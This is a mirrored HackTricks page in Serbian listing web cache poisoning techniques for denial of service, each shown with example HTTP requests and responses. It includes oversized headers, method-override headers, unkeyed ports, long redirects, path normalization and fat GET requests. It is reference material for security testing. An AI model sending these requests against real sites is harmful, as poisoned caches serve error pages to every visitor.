mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
151 lines
6.3 KiB
Markdown
151 lines
6.3 KiB
Markdown
|
# Trovanje keša za DoS
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Drugi načini podrške HackTricks-u:
|
||
|
|
||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
Na ovoj stranici možete pronaći različite varijacije za pokušaj da se **veb server odgovori sa greškama** na zahteve koji su **validni za keš servere**
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Prekoračenje HTTP zaglavlja (HHO)**
|
||
|
|
||
|
Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava veb server, ali manjom od one koju podržava keš server. Veb server će odgovoriti sa 400 odgovorom koji može biti keširan:
|
||
|
```
|
||
|
GET / HTTP/1.1
|
||
|
Host: redacted.com
|
||
|
X-Oversize-Hedear:Big-Value-000000000000000
|
||
|
```
|
||
|
* **HTTP Meta Karakter (HMC) & Neočekivane vrednosti**
|
||
|
|
||
|
Pošaljite zaglavlje koje sadrži neke **štetne meta karaktere** kao što su `\n` i `\r`. Da bi napad uspeo, prvo morate zaobići keš.
|
||
|
```
|
||
|
GET / HTTP/1.1
|
||
|
Host: redacted.com
|
||
|
X-Meta-Hedear:Bad Chars\n \r
|
||
|
```
|
||
|
Loše konfigurisan zaglavlje može biti samo `\:` kao zaglavlje.
|
||
|
|
||
|
Ovo takođe može raditi ako se šalju neočekivane vrednosti, poput neočekivanog Content-Type:
|
||
|
```
|
||
|
GET /anas/repos HTTP/2
|
||
|
Host: redacted.com
|
||
|
Content-Type: HelloWorld
|
||
|
```
|
||
|
* **Neindeksirani zaglavlje**
|
||
|
|
||
|
Neke veb lokacije će vratiti statusni kod greške ako **vide određena zaglavlja** u zahtevu, kao što je zaglavlje _X-Amz-Website-Location-Redirect: nešto_:
|
||
|
```
|
||
|
GET /app.js HTTP/2
|
||
|
Host: redacted.com
|
||
|
X-Amz-Website-Location-Redirect: someThing
|
||
|
|
||
|
HTTP/2 403 Forbidden
|
||
|
Cache: hit
|
||
|
|
||
|
Invalid Header
|
||
|
```
|
||
|
* **Napad preko zamene HTTP metoda (HMO)**
|
||
|
|
||
|
Ako server podržava promenu HTTP metoda pomoću zaglavlja poput `X-HTTP-Method-Override`, `X-HTTP-Method` ili `X-Method-Override`. Moguće je zatražiti validnu stranicu menjajući metod koji server ne podržava, što može rezultirati lošim odgovorom koji se kešira:
|
||
|
```
|
||
|
GET /blogs HTTP/1.1
|
||
|
Host: redacted.com
|
||
|
HTTP-Method-Override: POST
|
||
|
```
|
||
|
* **Neključani port**
|
||
|
|
||
|
Ako se port u zaglavlju Host odražava u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na nekorišćeni port:
|
||
|
```
|
||
|
GET /index.html HTTP/1.1
|
||
|
Host: redacted.com:1
|
||
|
|
||
|
HTTP/1.1 301 Moved Permanently
|
||
|
Location: https://redacted.com:1/en/index.html
|
||
|
Cache: miss
|
||
|
```
|
||
|
* **Dugačko preusmeravanje DoS**
|
||
|
|
||
|
Kao u sledećem primeru, x nije keširan, pa napadač može zloupotrebiti ponašanje odgovora preusmeravanja kako bi naterao preusmeravanje da pošalje URL koji je toliko veliki da izaziva grešku. Zatim, ljudi koji pokušavaju da pristupe URL-u bez neke keširane x ključne reči dobiće odgovor o grešci:
|
||
|
```
|
||
|
GET /login?x=veryLongUrl HTTP/1.1
|
||
|
Host: www.cloudflare.com
|
||
|
|
||
|
HTTP/1.1 301 Moved Permanently
|
||
|
Location: /login/?x=veryLongUrl
|
||
|
Cache: hit
|
||
|
|
||
|
GET /login/?x=veryLongUrl HTTP/1.1
|
||
|
Host: www.cloudflare.com
|
||
|
|
||
|
HTTP/1.1 414 Request-URI Too Large
|
||
|
CF-Cache-Status: miss
|
||
|
```
|
||
|
* **Normalizacija slučaja zaglavlja domaćina**
|
||
|
|
||
|
Zaglavlje domaćina treba da bude neosetljivo na veličinu slova, ali neki veb sajtovi očekuju da bude malim slovima i vraćaju grešku ako nije:
|
||
|
```
|
||
|
GET /img.png HTTP/1.1
|
||
|
Host: Cdn.redacted.com
|
||
|
|
||
|
HTTP/1.1 404 Not Found
|
||
|
Cache:miss
|
||
|
|
||
|
Not Found
|
||
|
```
|
||
|
* **Normalizacija putanje**
|
||
|
|
||
|
Neke stranice će vratiti kodove grešaka slanjem podataka URLenkodiranih u putanji, međutim, keš server će URLdekodirati putanju i sačuvati odgovor za URLdekodiranu putanju:
|
||
|
```
|
||
|
GET /api/v1%2e1/user HTTP/1.1
|
||
|
Host: redacted.com
|
||
|
|
||
|
|
||
|
HTTP/1.1 404 Not Found
|
||
|
Cach:miss
|
||
|
|
||
|
Not Found
|
||
|
```
|
||
|
* **Debeli Get**
|
||
|
|
||
|
Neke keš servere, poput Cloudflare-a, ili veb servere, zaustavljaju GET zahteve sa telom, pa bi ovo moglo biti zloupotrebljeno da bi se keširao nevažeći odgovor:
|
||
|
```
|
||
|
GET /index.html HTTP/2
|
||
|
Host: redacted.com
|
||
|
Content-Length: 3
|
||
|
|
||
|
xyz
|
||
|
|
||
|
|
||
|
HTTP/2 403 Forbidden
|
||
|
Cache: hit
|
||
|
```
|
||
|
## Reference
|
||
|
|
||
|
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
||
|
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Drugi načini podrške HackTricks-u:
|
||
|
|
||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
|
||
|
</details>
|